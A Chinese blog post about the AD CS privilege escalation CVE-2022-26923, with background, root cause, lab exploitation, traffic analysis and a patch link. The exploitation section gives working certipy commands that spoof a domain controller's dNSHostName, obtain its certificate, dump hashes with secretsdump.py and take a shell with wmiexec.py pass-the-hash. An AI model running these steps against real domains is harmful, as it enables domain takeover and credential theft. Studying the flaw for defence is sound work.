CVE-2022-26923域提权漏洞

CVE-2022-26923域提权漏洞

参考链接:
http://www.ctfiot.com/40081.html
https://tryhackme.com/room/cve202226923
https://www.bilibili.com/video/BV1hL4y1F79y?spm_id_from=333.337.search-card.all.click
https://github.com/ly4k/Certipy

1.漏洞背景

Windows Active Directory (AD) 不仅用于身份和访问管理,还提供大量服务来帮助您运行和管理您的组织,其中一项服务是 Active Directory 证书服务 (AD CS)。
AD CS 是 Microsoft 的公钥基础结构 ( PKI ) 实施。 AD 在组织中提供了一定程度的信任,因此它可以用作 CA 来证明和委托信任。AD CS 用于多种用途,例如加密文件系统、创建和验证数字签名,甚至是用户身份验证,这使其成为攻击者的有前途的途径。使其成为更危险的攻击媒介的原因在于,证书可以在凭证轮换中幸存下来,这意味着即使重置了受攻击帐户的密码,也不会使恶意生成的证书无效,证书请求和生成的流程:
在这里插入图片描述

AD证书注册流程:要从 AD CS 获取证书,客户端需要经过⼀个称为注册的过程。概括地说,在注册期间,客户端⾸先根据活动目录 Enrollment Services 容器中的对象找到企业 CA。然后,客户端⽣成⼀个公钥/私钥对,并将公钥、证书主题和证书模板名称等其他详细信息⼀起放⼊证书签名请求(CSR)消息中。然后,客户端使⽤其私钥签署 CSR,并将 CSR 发送到企业 CA 服务器。CA 服务器检查客户端是否可以请求证书。如果是,它会通过查找 CSR 中指定的证书模板 AD 对象来确定是否会颁发证书。CA 将检查证书模板 AD 对象的权限是否允许该账户获取证书。如果是,CA 将使用证书模板定义的 “蓝图” 设置(例如,EKU、加密设置和颁发要求等)并使用 CSR 中提供的其他信息(如果证书的模板设置允许)生成证书。CA 使用其私钥签署证书,然后将其返回给客户端。CA 颁发的证书可以提供加密(例如,加密⽂件系统)、数字签名(例如,代码签名)和⾝份验证(例如,对 AD)等多种服务。

2.漏洞原理

默认情况下,域用户可以注册 User 证书模板,域计算机可以注册 Machine 证书模板。两个证书模板都允许客户端身份验证。当用户账户申请 User 模板证书时,用户帐户的用户主体名称(User Principal Name,UPN)将嵌入到证书中以进行识别,这个UPN是唯一的,UPN的值为:用户名@AD域名,不可能同时存在两个具有相同UPN的用户,User 证书模板的 msPKI-Certificate-Name-Flag 属性存在一个 CT_FLAG_SUBJECT_ALT_REQUIRE_UPN 标志位,其指示 CA 将来自 Active Directory 中请求者用户对象的 UPN 属性值(用户名@AD域名)添加到已颁发证书的主题备用名称中。但是Machine证书模板没有UPN属性,那么计算机在使用证书进行身份验证时,是靠什么识别认证账户的呢?会发现证书模板的 msPKI-Certificate-Name-Flag 属性还存在一个 CT_FLAG_SUBJECT_ALT_REQUIRE_DNS 标志位,其指示 CA 将从 Active Directory 中请求者用户对象的 DNS 属性获得的值添加到已颁发证书的主题备用名称中。也就是说,当计算机账户申请证书时,计算机的 DNS 属性值将被嵌入到证书中以进行识别。到此,漏洞产生的原因就出来了,dNSHostName属性值不唯一,通过User用户创建Machine账户,将Machine账户(具有写入权限)的dNSHostName值改为与域控制器的计算机账户相同的dNSHostName值,欺骗AD CS申请到域控制器的AD证书。但是servicePrincipalName属性具有唯一性,它包含dNSHostName,如果dNSHonstName发生改变会带动servicePrintcipalName的RestrictedKrbHost和Host发生改变,由于唯一性会发生报错,所以想要漏洞完成漏洞要删除账户中的servicePrincipalName属性值。

3.利用过程

实验环境:
主机:windows server 2019,带有域环境,并安装AD CS服务。
	域计算机全名:cat7.test.local
	域:test.local
	Ip:192.168.0.107
	普通用户:test1:ABCabc!
Kali:
	Ip:192.168.105
实验环境下,要在kali上做域的域名映射,编写/etc/hosts文件,写域和域主机ip的对应关系。

漏洞存在:
可以使用bloodhound内网渗透工具,通过低权限账号利用采集器脚本进行信息收集,如果发现存在CERTIFICATE SERVICE 组则可以进行尝试。
在这里插入图片描述

提权步骤:

1.泄露低权限ad用户的凭据
2.使用凭据在域中注册新的主机
使用低权限用户生成证书:

certipy req 'test.local/test1:ABCabc!@cat7.test.local' -ca  test-cat7-ca -template User

在这里插入图片描述

Test-cat7-CA 是域名-主机名-CA
通过certipy用kerberos验证是否有效:

certipy auth -pfx test1.pfx

在这里插入图片描述

将计算机AD对象的DNS主机名属性更改为特权主机的主机名属性
申请hostname和域控一样的test4的账号:

certipy account create 'test.local/test1:ABCabc!@cat7.test.local' -user "test4" -dns "cat7.test.local"

在这里插入图片描述

账号会自动加“$”符号,并返回账户密码。
3.删除归因绕过唯一SPN冲突的问题SPN
应该通过工具在第三步完成了
4.使用默认模板请求机器证书
请求Machine证书:

certipy req 'test.local/test4$:sQLNmotDspqSga1A@cat7.test.local' -ca test-cat7-ca -template Machine

在这里插入图片描述

可以看到此时的证书不是test4.pfx,是主机名cat7.pfx,颁发的是域控制器的计算机账户证书。
5.使用收到的模块执行kerberos身份验证,然后就可以作为特权机器账户了
解析票据:

certipy auth -pfx cat7.pfx

在这里插入图片描述

获得hash值。
通过域控制器的计算机账户证书获得administrator的hash值。

secretsdump.py 'test.local/cat7$@cat7.test.local' -hashes 66c32f13f89a8ce3e32ff249d0630d62:66c32f13f89a8ce3e32ff249d0630d62

得到主机的控制权限:

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:890b06b9397f4ae4b2d55d878132ec9a ADMINISTRATOR@192.168.0.107

在这里插入图片描述

4.流量分析

整个过程从字节流来看都是乱码或者加密,也能看到有cmd.exe相关字节,流量采用SMB2(encrypted SMB3)和TLS协议,只能看到使用SMB协议在两主机间每次登录的用户发生了变化。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5.修补方案

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值